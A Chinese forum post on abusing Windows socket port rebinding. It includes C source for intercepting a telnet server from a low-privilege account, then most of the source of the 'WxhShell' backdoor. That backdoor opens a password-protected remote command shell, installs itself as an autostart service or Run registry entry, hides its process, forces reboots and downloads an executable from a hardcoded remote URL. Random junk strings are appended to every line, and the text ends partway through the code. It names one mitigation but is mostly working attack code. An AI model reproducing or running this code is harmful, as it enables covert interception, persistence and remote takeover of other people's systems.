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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S=g-&lK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !VHIl&Mos  
Fdw[CYHz  
  saddr.sin_family = AF_INET; GN9_ZlC  
_e_%U<\4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #[W[ |m  
iq:[+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qlJOb}$ I  
h yKg=Foq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cQ41NX@I  
PoJyWC  
  这意味着什么?意味着可以进行如下的攻击: /vDF<HVzm  
c.Y8CD.tqL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SU'9+=_$  
5#)<rK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F\R}no5C  
--YUiNhh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $tHwJ!<$&  
PJ@,01  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k#5e:VOb  
-!>ZATL<B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xJLO\B+gM  
^(JHRH~=h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nE0~Y2  
*.c9$`s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B 9Q. s  
><MgIV  
  #include >Mz|e(6  
  #include _`{{39 F  
  #include yO;C3q  
  #include    o;>3z*9?3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )UZ0gfx  
  int main() F]A~~P  
  { 7 eQoc2X2  
  WORD wVersionRequested; >X,Ag  
  DWORD ret; , ."(Gp  
  WSADATA wsaData; % rY8  
  BOOL val; d3G{0PX  
  SOCKADDR_IN saddr; UX'NJ1f  
  SOCKADDR_IN scaddr; N%r L=zE  
  int err; L sDzV)  
  SOCKET s; ho]!G498  
  SOCKET sc; 1|WpKaMoq  
  int caddsize; +F~0\#d  
  HANDLE mt; $jed{N7Y  
  DWORD tid;   Eh@T W%9*  
  wVersionRequested = MAKEWORD( 2, 2 ); h@,e`Z  
  err = WSAStartup( wVersionRequested, &wsaData );  LbX6p  
  if ( err != 0 ) { EPe]-C`  
  printf("error!WSAStartup failed!\n"); wvmg)4,  
  return -1; >6[ X }  
  } @>Ghfh>~D  
  saddr.sin_family = AF_INET; 2WPF{y%/  
   HCx%_9xlm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HA9Nr.NqC@  
*pTO|x{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RCh$j&Tn  
  saddr.sin_port = htons(23); Wz-3?EQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qHR^0&  
  { [+ 'B Q  
  printf("error!socket failed!\n"); ]]uzl0LH  
  return -1; HZDaV&)@  
  } (9KDtr*(2i  
  val = TRUE; c{,y{2c]LT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c8-69hb?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xxoHH#a  
  {  !u53 3  
  printf("error!setsockopt failed!\n"); +f X}O9  
  return -1; Ld\LKwo  
  } [+%d3+27  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Txt%nzIu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E/~"j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *>aZc::  
>[|GC/C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L}}=yh6r  
  { i'W_;Y}  
  ret=GetLastError(); Y ]~ HAv '  
  printf("error!bind failed!\n"); GUu\dl9WA'  
  return -1; I|KY+k> /  
  } !fi &@k  
  listen(s,2); ;|>q zx  
  while(1) `1fJ:b/M  
  { p}YI#f in/  
  caddsize = sizeof(scaddr); 4_Qa=T8  
  //接受连接请求 vzY'+9q1.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]aC ':55(  
  if(sc!=INVALID_SOCKET) %[]"QbF?  
  { oLrkOn/aY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  xFBh?  
  if(mt==NULL) @-wNrW$  
  { [&h#iTRT  
  printf("Thread Creat Failed!\n"); Io$w|~x  
  break; ku/\16E/k  
  } (dzH3_U  
  } wr$cK'5ZL  
  CloseHandle(mt); k^H0b\hYY  
  } ydwK!j0y  
  closesocket(s); FOOQ'o[}  
  WSACleanup(); FX HAZ2/\  
  return 0; rc;7W:  
  }   1MbY7!?PG  
  DWORD WINAPI ClientThread(LPVOID lpParam) {S5RK-ax  
  { L6|Hgrj-u  
  SOCKET ss = (SOCKET)lpParam; pU?{0xZH  
  SOCKET sc; 81GQijq  
  unsigned char buf[4096]; >_;kTy,  
  SOCKADDR_IN saddr; 6 gj]y^}  
  long num; |av*!i5Q  
  DWORD val; oLgg  
  DWORD ret; Km6Ub?/7o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K0tV'Ml#"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i\t753<Ys  
  saddr.sin_family = AF_INET; xS= _yO9-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <8u>_o6  
  saddr.sin_port = htons(23); o3Mf:;2cC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BZovtm3 E  
  { k$ZRZ{ E+  
  printf("error!socket failed!\n"); )Rjb/3*!  
  return -1; @v>l[6]>^  
  } Mw/?wtW  
  val = 100; vuYO\u+ud  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }1QI"M*  
  { fNmE,~  
  ret = GetLastError(); @ SU8\:(U  
  return -1; X AQGG>  
  } rHvF%o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Zh2eXWdjM  
  { 4bP13f  
  ret = GetLastError(); 2]L=s3  
  return -1; (C,e6r Y  
  } U(U@!G)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &Fw[YGJayz  
  { `TUZZz  
  printf("error!socket connect failed!\n"); 'S =sj}X  
  closesocket(sc); 1TKEm9j]u  
  closesocket(ss); $aB /+,  
  return -1; <f%ujrX  
  } +"jl(5Q  
  while(1) "gFxfWIA  
  { s(Z(e %  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YTQ5sFuGM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j]r XoV>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /+>)"D6'  
  num = recv(ss,buf,4096,0); ZTN(irK  
  if(num>0) &|)hCJu  
  send(sc,buf,num,0); $j57LY|r  
  else if(num==0) js~tKUvg  
  break; F"!agc2!  
  num = recv(sc,buf,4096,0); "[k1D_PZ  
  if(num>0) T YYp"wx  
  send(ss,buf,num,0); G 0hYFc u  
  else if(num==0) @&;(D!_&  
  break; Z+ixRch@-s  
  } v2d<o[[C  
  closesocket(ss); ?-pi,O~(p  
  closesocket(sc); BWWq4mdb{  
  return 0 ; hw;0t,1  
  } _}D%iJg#  
KE<kj$  
.Y;b)]@f  
========================================================== yH^f\u0  
n|WfaJQZ  
下边附上一个代码,,WXhSHELL F9-[%l  
uS~#4;R   
========================================================== 4CLsY n?  
n=q=zn;  
#include "stdafx.h" 7AFE-'S  
hi!`9k  
#include <stdio.h> %dc3z"u  
#include <string.h> .;9jdGBf  
#include <windows.h> *.oKI@  
#include <winsock2.h> W;4Lkk$  
#include <winsvc.h> Ejv%,q/T(  
#include <urlmon.h> cph~4wCS[U  
"f4<B-9<$  
#pragma comment (lib, "Ws2_32.lib") a5|@R<iF  
#pragma comment (lib, "urlmon.lib") NetYg]8`  
^=^$tF  
#define MAX_USER   100 // 最大客户端连接数 _K'7(d0z  
#define BUF_SOCK   200 // sock buffer JBz}|M D  
#define KEY_BUFF   255 // 输入 buffer 9RH"d[%yc}  
BWh }^3?l  
#define REBOOT     0   // 重启 :}Ok$^5s  
#define SHUTDOWN   1   // 关机 OOokhZd`  
K1OkZ6kl  
#define DEF_PORT   5000 // 监听端口 r$ =qQ7^#  
zN%97q_  
#define REG_LEN     16   // 注册表键长度 yG\UW&P  
#define SVC_LEN     80   // NT服务名长度 1]T|6N?  
{6h|6.S2  
// 从dll定义API %]!adro~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); obO}NF*g^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yY Y Nu`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L;S}s, 2x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qy ,"X)^#  
?n.)&ZIx0  
// wxhshell配置信息 qNxB{0(D  
struct WSCFG { VevNG *  
  int ws_port;         // 监听端口 }x:0os  
  char ws_passstr[REG_LEN]; // 口令 -p`L% xj\  
  int ws_autoins;       // 安装标记, 1=yes 0=no A?8\Y{FQ  
  char ws_regname[REG_LEN]; // 注册表键名 *t(4 $  
  char ws_svcname[REG_LEN]; // 服务名 wO7t!35  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4/'N|c.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XV>@B $hu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Xfn@>;3ui  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &+01+-1hW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9cG<hX9`F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^]>aHz9  
%D`o  
}; yS!(Ap  
)MSZ2)(  
// default Wxhshell configuration @E%DP9.I  
struct WSCFG wscfg={DEF_PORT, L[y Pjw:0  
    "xuhuanlingzhe", )#C mQXgG  
    1, RF?DtNuq  
    "Wxhshell", L&kr{7q  
    "Wxhshell", X`:'i?(yj  
            "WxhShell Service", <^8*<;PaG  
    "Wrsky Windows CmdShell Service", 4r&f%caU  
    "Please Input Your Password: ", oh~: ,  
  1, M&KyA  
  "http://www.wrsky.com/wxhshell.exe", +Rwx% =  
  "Wxhshell.exe" wfR&li{  
    }; [|RjHGf  
)K;]y-Us[  
// 消息定义模块 kccWoU,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y/fJQ6DY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \S ."?!U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F PR`tE  
char *msg_ws_ext="\n\rExit."; wvN`R  
char *msg_ws_end="\n\rQuit."; G-u]L7t&1  
char *msg_ws_boot="\n\rReboot..."; rjk( X|R*  
char *msg_ws_poff="\n\rShutdown..."; 0fArF*  
char *msg_ws_down="\n\rSave to "; o ehaQ#e  
1/;o  
char *msg_ws_err="\n\rErr!"; @MbVWiv  
char *msg_ws_ok="\n\rOK!"; ^zr^ N?a  
`VT>M@i/  
char ExeFile[MAX_PATH]; |^a;77nE_^  
int nUser = 0; _mJG5(|  
HANDLE handles[MAX_USER]; o6a0'vU><  
int OsIsNt; !yJICjXj  
wRvb8F 0  
SERVICE_STATUS       serviceStatus; 3@<zg1.9-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0N;%2=2_E  
-SCM:j%h  
// 函数声明 86 .`T l;  
int Install(void); r.yK,  
int Uninstall(void); Z>P*@S,6G  
int DownloadFile(char *sURL, SOCKET wsh); $_Nf-:D*  
int Boot(int flag); w0lT%CPx  
void HideProc(void); fCw*$:O  
int GetOsVer(void); /M=3X||  
int Wxhshell(SOCKET wsl); *[}^[J x  
void TalkWithClient(void *cs); "rhYCZ B  
int CmdShell(SOCKET sock); .0p^W9  
int StartFromService(void); N|usFqCNk^  
int StartWxhshell(LPSTR lpCmdLine); N ( Oyi  
"_1)CDqP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vFv3'b$;G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I&VTW8jB  
)[Z!*am  
// 数据结构和表定义 li oc`C:  
SERVICE_TABLE_ENTRY DispatchTable[] = Dw6fmyJ:  
{ F3M aqr y  
{wscfg.ws_svcname, NTServiceMain}, "i^ GmVn  
{NULL, NULL} ravyiO L  
}; aZS7sV28  
A8r^)QJP{  
// 自我安装 /F)H\*  
int Install(void) :-T*gqj|  
{ -NJ!g/ >mM  
  char svExeFile[MAX_PATH]; 7[pBUDA  
  HKEY key; neZ.`"LV  
  strcpy(svExeFile,ExeFile); u]*0;-tz  
% Zjdl  
// 如果是win9x系统,修改注册表设为自启动 u=x+ J=AH  
if(!OsIsNt) { d+eZub94U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }UwO<#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0RFRbi@n(  
  RegCloseKey(key); nh+l7 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z4b||  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<a^</s  
  RegCloseKey(key); SmwQET<H  
  return 0; h^UKT`9vt  
    } #W>QY Tp  
  } <AH1i@4  
} +Vb8f["+-  
else { ^D%Za'  
X{xBYZv4  
// 如果是NT以上系统,安装为系统服务 #%0Bx3uM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W~1~k{A  
if (schSCManager!=0) avQJPB)}Sb  
{ ^x>Qf(b  
  SC_HANDLE schService = CreateService Z @ dC+0[=  
  ( , t5 '  
  schSCManager, $;N*cH~  
  wscfg.ws_svcname, 4<dcB@v  
  wscfg.ws_svcdisp, *cuuzi&  
  SERVICE_ALL_ACCESS, E H:T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FzQTDu9  
  SERVICE_AUTO_START, 'k0[rDFc#3  
  SERVICE_ERROR_NORMAL, Pz*_)N}j >  
  svExeFile, uo%P+om_}  
  NULL, l7H qo)  
  NULL, YyAJ m^o  
  NULL, "TyJP[/  
  NULL, u$#Wv2|mk  
  NULL V" \0Y0  
  ); *iBTI+"]  
  if (schService!=0) H,3\0BKk  
  { OJ|r6  
  CloseServiceHandle(schService); 8BOZh6BV  
  CloseServiceHandle(schSCManager); ,l YE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c/N@zum,{  
  strcat(svExeFile,wscfg.ws_svcname); "5R~(+~<@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \MC-4Yz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EP'h@zdz  
  RegCloseKey(key); q;g>t5]a  
  return 0; l/TjQ*  
    } ,2Q o7(A  
  } W&* f#E  
  CloseServiceHandle(schSCManager); !G^L/?z3  
} wI]"U2L5  
} hI%bjuq  
Qd}m`YW-f$  
return 1; )a 9 ]US^  
} DI+]D~N  
d@`M CchCB  
// 自我卸载 JWvjWY2+P  
int Uninstall(void) x3jb%`o#!  
{ %VYAd)gC  
  HKEY key; x-OA([;/  
f=C,e/sw  
if(!OsIsNt) { eAv4FA4g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wO ?+Nh  
  RegDeleteValue(key,wscfg.ws_regname); U*Ge<(v$  
  RegCloseKey(key); m8'C_U^89  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dm0QcW4  
  RegDeleteValue(key,wscfg.ws_regname); D]w!2k%V  
  RegCloseKey(key); xh7cVE[UM  
  return 0;  ]#7zk9  
  } }bY; q-  
} jK \T|vGJa  
} x~xa6  
else { eP*lI<NQ1  
&%})wZ+Dj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m'P1BLk  
if (schSCManager!=0) J)P$2#  
{ /VmR<C?h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R\o<7g-|  
  if (schService!=0) yFDv6yJ.  
  { m_?d=o  
  if(DeleteService(schService)!=0) { MZ Aij  
  CloseServiceHandle(schService); R|O8RlH  
  CloseServiceHandle(schSCManager); u[nyW3MZ  
  return 0; }cT_qqw(f%  
  } ,0x y\u  
  CloseServiceHandle(schService); JkW9D)6  
  } a=M\MZK>  
  CloseServiceHandle(schSCManager); ;"(foY"L  
} Wu4Lxv]B4  
} I%- " |]$  
t]7&\ihZi~  
return 1; 4`JH&))}  
} iw*Nq,(  
*OuStr \o  
// 从指定url下载文件 )Ke*JJaq  
int DownloadFile(char *sURL, SOCKET wsh) aLIBD'z  
{ 0a-:<zm  
  HRESULT hr; /rUo{j  
char seps[]= "/"; PaV-F_2  
char *token; ,-7R(iMd  
char *file; =-_B:d;  
char myURL[MAX_PATH]; %f($*l.  
char myFILE[MAX_PATH]; jqPkc28  
=bEda]  
strcpy(myURL,sURL); K|dso]b/  
  token=strtok(myURL,seps); w@N  
  while(token!=NULL) h;6lK$!c  
  { y|'SXM  
    file=token; }CeCc0M  
  token=strtok(NULL,seps); LX^u_Iu   
  } V<Z[ nq  
MEwo}=B  
GetCurrentDirectory(MAX_PATH,myFILE); v4C{<8:X  
strcat(myFILE, "\\"); 5 ~TdD6}  
strcat(myFILE, file); [Q=dC X9%  
  send(wsh,myFILE,strlen(myFILE),0); 'fW6 .0fXa  
send(wsh,"...",3,0); FQ=@mjh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]('D^Ro  
  if(hr==S_OK) Mbjvh2z  
return 0; ) $PDo 7#  
else HttiX/2~  
return 1; `w]s;G[  
y@\V +  
} Yo[;W vu  
7)s^8+  
// 系统电源模块 "~D]E7Q3y  
int Boot(int flag) E9;|'Vy<E  
{ (\SA *.)  
  HANDLE hToken; _q~=~nub  
  TOKEN_PRIVILEGES tkp; ANgw"&&>(  
9<KAXr#  
  if(OsIsNt) { 1Tu *79A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .'Vww  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8']9$#  
    tkp.PrivilegeCount = 1; s8}@=]aA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #5V9o KM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I'|$}/\`  
if(flag==REBOOT) { g]*#%Xa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :_O%/k1\@  
  return 0; 'nF2aD%A  
} vd8{c7g:n  
else { 0}b tXh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0{= `on;  
  return 0; *8LMn   
} 7}X[ 4("bB  
  } xD6@Qk  
  else { Rz.?i+  
if(flag==REBOOT) { () j =5KDu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )kP5u`v  
  return 0; '_V2!?+RU+  
} t^w"w`v\u  
else { p\bDY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xXM{pd  
  return 0; utIX  %0  
} Nqu>6^-z0  
} t25,0<iW  
e d<n9R  
return 1; ]w.;4`l*  
} 78/Zk}I]  
9]@A]p!  
// win9x进程隐藏模块 ~c&bH]cj  
void HideProc(void) bFW=ylF9  
{ @7B$Yy#  
DCZ\6WY1G)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +(h\fm7*-  
  if ( hKernel != NULL ) rYbpih=x  
  { ({q?d[q[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6q{HU]N+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Udov pl  
    FreeLibrary(hKernel); 2o'Wy  
  } oZAB_A)[-  
<TP=oq?I/  
return; l6d$V 9A  
} wYmM"60  
/AW=5Ck-#  
// 获取操作系统版本 l?Ya"C`FL  
int GetOsVer(void) BW "5Aj  
{ 8|" XSN  
  OSVERSIONINFO winfo; ;A*`e$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :3I@(k\PY  
  GetVersionEx(&winfo); v&=gF/$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o|$AyS{1  
  return 1; :$n=$C -wp  
  else kOed ]>H  
  return 0; "T|PS 6R~  
} A -b [>} _  
*m#Za<_Gv  
// 客户端句柄模块 yr lf+tl  
int Wxhshell(SOCKET wsl) Y 1t\iU  
{ 'hs2RSq  
  SOCKET wsh; @w?P7P<O`  
  struct sockaddr_in client; #Jw1IcuH  
  DWORD myID; *" {lMZ +  
C<P%CG&;  
  while(nUser<MAX_USER) %oO4|JkJX  
{ 7:2WgL o  
  int nSize=sizeof(client); F~P%AjAx'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4 XAQVq5  
  if(wsh==INVALID_SOCKET) return 1; sashzVwJ-=  
NB8/g0:=n&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (,8$V\  
if(handles[nUser]==0) [Lzw#XE  
  closesocket(wsh); oomT)gO 6*  
else 4B^ZnFJ%m  
  nUser++; } x2DT8u  
  } fc |GArL#}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aL&n[   
o:_Xv.HRZo  
  return 0; _iir<}  
} zlEX+=3  
j!7{|EQFcl  
// 关闭 socket  t$De/Uq  
void CloseIt(SOCKET wsh) ayfFVTy1d  
{ +Nt2 +Y:O  
closesocket(wsh); LRNh@g4ei  
nUser--; 9;B0Mq py  
ExitThread(0); <x<"n t  
} ;u>DNG|.  
`nZ)>  
// 客户端请求句柄 RE/~#k@a  
void TalkWithClient(void *cs) 1fZ(l"  
{ u)~C;f)  
zc;|fHW~O  
  SOCKET wsh=(SOCKET)cs; !K'}K>iT  
  char pwd[SVC_LEN]; RH&~+5  
  char cmd[KEY_BUFF]; U4b0*`o  
char chr[1]; (w}H]LQ  
int i,j; P7{gfiB  
Uk6HQQ  
  while (nUser < MAX_USER) { orjj' +;X  
LyAn&h}  
if(wscfg.ws_passstr) { ce7CcHQ?B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %@6}GmK^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }n4V|f-  
  //ZeroMemory(pwd,KEY_BUFF); #~<0t(3Q  
      i=0; /\4'ddGU  
  while(i<SVC_LEN) { jbS\vyG  
&M.66O@  
  // 设置超时 D F*:_B )  
  fd_set FdRead; OHhsP}/  
  struct timeval TimeOut; +Zaj,oEE  
  FD_ZERO(&FdRead); `1bv@yzq  
  FD_SET(wsh,&FdRead); !Rhl f.x  
  TimeOut.tv_sec=8; i}B2R$Z3  
  TimeOut.tv_usec=0; >kW@~WDMu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oz}+T(@O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U G~ba  
+,#$:fs u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v%iof1 T'  
  pwd=chr[0]; $3s@}vLd  
  if(chr[0]==0xd || chr[0]==0xa) { '*"vkgN  
  pwd=0; NnT1X;0W  
  break; *1fb}C_  
  } 4X+ifZO  
  i++; V7Ek-2M  
    } iqe%=%ZR  
V4KMOYqm  
  // 如果是非法用户,关闭 socket V0P>YQq9s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cT!\{ ~  
} 5Hw~2 ?a,  
F*3j.lI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2AO~HxF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JYW)uJ  
.K p  
while(1) { >8qQK r\"  
@ CZ T  
  ZeroMemory(cmd,KEY_BUFF); E: $P=%b  
Lcg)UcB-#  
      // 自动支持客户端 telnet标准   -T[lx\}  
  j=0; [YUv7|\  
  while(j<KEY_BUFF) { J /f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JNJ=e,O,  
  cmd[j]=chr[0]; e-"nB]n^/  
  if(chr[0]==0xa || chr[0]==0xd) { H?)w!QX  
  cmd[j]=0; Na?!;1]_  
  break; fngOeLVG  
  } |4uWh  
  j++; )C(? bR  
    } &I (#Wy3  
hNH'XQxO  
  // 下载文件 rjp-Fw~1w  
  if(strstr(cmd,"http://")) { !U'QqnT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L_wk~z  
  if(DownloadFile(cmd,wsh)) i03w 1pSH,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'gTbA?+@5  
  else RF%KA[Dj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DUC#NZgw  
  } !>zo _fP  
  else { o1h={ao  
.U?'i<  
    switch(cmd[0]) { OslL~<  
  JU^lyi!  
  // 帮助 ]Zyur`  
  case '?': { M>i9i -dU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (?(zH3  
    break; /7t>TYip!  
  } _U |>b>  
  // 安装 /p+>NZ"b  
  case 'i': { S'_-G;g.  
    if(Install()) 7:)n$,31FW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d+Ek%_  
    else T ^~5n6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JAQb{KefdO  
    break; "6us#T  
    } FMClSeO7  
  // 卸载 S=e{MI  
  case 'r': { uoX:^'q   
    if(Uninstall()) EB2!HpuQ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wSg2'b4E  
    else 1>E<8&2[L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZRg;/sX]  
    break; RkBb$q9F]  
    } V9dF1Hj  
  // 显示 wxhshell 所在路径 R)RG[F#   
  case 'p': { O0pDd4)"  
    char svExeFile[MAX_PATH]; #7 q7PYG4  
    strcpy(svExeFile,"\n\r"); j+["JXy  
      strcat(svExeFile,ExeFile); /eOzXCSws  
        send(wsh,svExeFile,strlen(svExeFile),0); 1M 781  
    break; ZGYr$C~  
    } O2f-5Y$@  
  // 重启 ),ma_{$N  
  case 'b': { ,kF}lo)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1][S#H/?  
    if(Boot(REBOOT)) D IzH`|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8F&=a,ps[  
    else { -Ty*aov  
    closesocket(wsh); }9W4"e2)  
    ExitThread(0); ?l^1 *Q,  
    } zN"J}r:  
    break; P)MDPI+~  
    } (KF=On;=Y  
  // 关机 Ooq! 0g  
  case 'd': { v4.#;F.\m  
